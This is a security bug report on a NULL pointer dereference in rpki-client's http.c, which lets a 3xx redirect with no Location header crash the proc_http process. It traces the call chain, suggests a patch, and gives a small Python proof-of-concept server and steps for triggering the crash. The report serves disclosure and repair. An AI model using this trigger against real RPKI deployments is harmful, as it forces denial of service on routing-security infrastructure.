NULL pointer dereference in http_redirect()

BUG REPORT: NULL pointer dereference in http_redirect()
========================================================

Component:  rpki-client
File:       usr.sbin/rpki-client/http.c
Version:    Current (as of 2026-04-06)
Severity:   Medium (CVSS 6.5)
Category:   NULL pointer dereference — remote DoS
Privsep:    proc_http (pledge("stdio inet dns recvfd"))

1. DESCRIPTION
--------------

When an HTTP server returns a 3xx redirect status code without a
Location: header, http_redirect() dereferences a NULL pointer, crashing
the proc_http child process.

The call chain:

  1. http_isredirect() (line 1326) checks only the status code:

         static inline int
         http_isredirect(struct http_connection *conn)
         {
             if ((conn->status >= 301 && conn->status <= 303) ||
                 conn->status == 307 || conn->status == 308)
                 return 1;
             return 0;
         }

     It does NOT check whether a Location: header was received.

  2. conn->redir_uri is set ONLY when a Location: header is parsed,
     at line 1436 inside http_parse_header():

         conn->redir_uri = redirurl;

     This code is reached only when http_isredirect(conn) is true AND
     the response contains a "Location:" header line. If the header is
     absent, conn->redir_uri remains its initialized value of NULL.

  3. The call site at lines 1630-1632:

         if (http_isok(conn) || http_isredirect(conn)) {
             if (http_isredirect(conn))
                 http_redirect(conn);

     Calls http_redirect() solely based on the status code, with no
     check on conn->redir_uri.

  4. Inside http_redirect() (line 1343):

         uri = conn->redir_uri;          /* line 1353: uri = NULL */
         conn->redir_uri = NULL;
         ...
         logx("redirect to %s", http_info(uri));  /* line 1360 */

  5. http_info() (line 220) passes the NULL uri to strnvis():

         strnvis(buf, uri, sizeof buf, VIS_SAFE);  /* line 225: CRASH */

     strnvis() dereferences its src argument unconditionally.
     This is a NULL pointer dereference.


2. PROOF OF CONCEPT
--------------------

An attacker who controls an RRDP repository endpoint (or performs a
man-in-the-middle on an HTTP connection) sends:

    HTTP/1.1 301 Moved Permanently\r\n
    Content-Length: 0\r\n
    \r\n

Note the absence of a Location: header. This is a malformed but
syntactically valid HTTP response.

To reproduce with a minimal test server:

    #!/usr/bin/env python3
    """Minimal server that sends a 301 with no Location header."""
    import socket

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', 8080))
    sock.listen(1)

    while True:
        conn, addr = sock.accept()
        # Read the request (discard it)
        conn.recv(4096)
        # Send 301 with no Location header
        conn.sendall(
            b"HTTP/1.1 301 Moved Permanently\r\n"
            b"Content-Length: 0\r\n"
            b"\r\n"
        )
        conn.close()

Then configure an RRDP repository notification XML to reference
http://127.0.0.1:8080/ as a snapshot or delta URI. When rpki-client
fetches from this endpoint, proc_http will crash with a NULL pointer
dereference in strnvis().

Impact:
  - proc_http crashes. The main process detects the death and falls
    back to rsync for the affected repository.
  - An attacker controlling a CDN or RRDP endpoint can reliably force
    rpki-client to abandon RRDP for that repository, degrading to the
    slower rsync transport.
  - Repeated triggering constitutes a denial of service against RRDP
    fetching.


3. SUGGESTED FIX
-----------------

Guard http_redirect() against a missing Location header. The check
belongs at the call site — consistent with how http.c validates state
before entering each handler:

--- a/usr.sbin/rpki-client/http.c
+++ b/usr.sbin/rpki-client/http.c
@@ -1628,8 +1628,14 @@ again:

 		/* Check status header and decide what to do next */
 		if (http_isok(conn) || http_isredirect(conn)) {
-			if (http_isredirect(conn))
+			if (http_isredirect(conn)) {
+				if (conn->redir_uri == NULL) {
+					warnx("%s: redirect without "
+					    "Location header",
+					    conn_info(conn));
+					return http_failed(conn);
+				}
 				http_redirect(conn);
+			}

 			if (conn->chunked)
 				conn->state = STATE_RESPONSE_CHUNKED_HEADER;